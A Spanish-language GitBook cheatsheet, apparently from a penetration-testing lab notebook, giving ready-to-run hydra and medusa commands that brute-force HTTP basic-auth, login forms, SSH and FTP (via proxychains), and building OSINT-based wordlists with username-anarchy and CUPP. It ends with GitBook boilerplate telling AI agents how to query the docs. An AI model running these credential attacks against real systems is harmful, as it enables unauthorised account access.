> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/brute-force-attacks.md).

# Brute Force Attacks

### Login Brute Force

Aplicando fuerza bruta a un servicio http por metodo get con la idea de obtener credenciales validas para un panel de login.

```bash
hydra -l 'basic-auth-user' -P '2023-200_most_used_passwords.txt' 154.57.164.81 http-get / -s 30102
```

Fuerza bruta por el metodo "http-post-form" y usando una condición de "failure" valida para el panel de autenticación.

```bash
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f 154.57.164.76 -s 32423 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"
```

### Password Brute Forcing - Web Services

El primer objetivo es obtener credenciales validas para acceder por SSH apartir de un usuario valido y un wordlist

```bash
medusa -h 'IP' -n 'PORT' -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -t 3
```

Luego del primer acceso verificar servicios activos, por ejemplo, el servicio FTP y con esto realizamos fuerza bruta al servicio con un usuario conocido y un wordlist

```bash
proxychains4 -q medusa -h 10.244.15.179 -u ftpuser -P /usr/share/seclists/Passwords/Common-Credentials/2020-200_most_used_passwords.txt -M ftp -t 3
```

En este caso otra vez usamos medusa, pero con el detalle del SSH Dynamic Portforwarding, debido a que internamente la maquina victima no tiene la herramienta.

### Custom Wordlist

Uso de "username-anarchy" para combinaciones de nombre de usuario y "CUPP" para combinaciones de passwords en base a datos obtenidos por OSINT

#### Username Anarchy

{% embed url="<https://github.com/urbanadventurer/username-anarchy.git>" %}

```bash
./username-anarchy Jane Smith > jane_smith_usernames.txt
```

#### CUPP

Instalacion de CUPP:

```bash
sudo apt install cupp -y
```

CUPP interactivo

```bash
cupp -i
```

En base al nombre del usuario que colocamos a CUPP, se obtendrá un output con el mismo nombre por ejemplo: jane.txt

En algunos casos, si agregamos informacion de una empresa en la que labora el usuario, debemos conocer que existen politicas a nivel de contraseña, por ejemplo:

```
Longitud mínima: 6 caracteres
Debe incluir:
Al menos una letra mayúscula
Al menos una letra minúscula
Al menos un número
Al menos dos caracteres especiales (del conjunto !@#$%^&*)
```

Para este caso debemos aplicar filtros al archivo jane.txt y obtener un nuevo archivo con passwords validas

```bash
grep -E '^.{6,}$' jane.txt | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' | grep -E '([!@#$%^&].){2,}' > jane-filtered.txt
```

Con este nuevo archivo y el archivo de usuarios inicial, probamos fuerza bruta a un panel de autenticacion

```bash
hydra -L jane_smith_usernames.txt -P jane-filtered.txt IP -s PORT -f http-post-form "/:username=^USER^&password=^PASS^:Invalid credentials"
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/brute-force-attacks.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
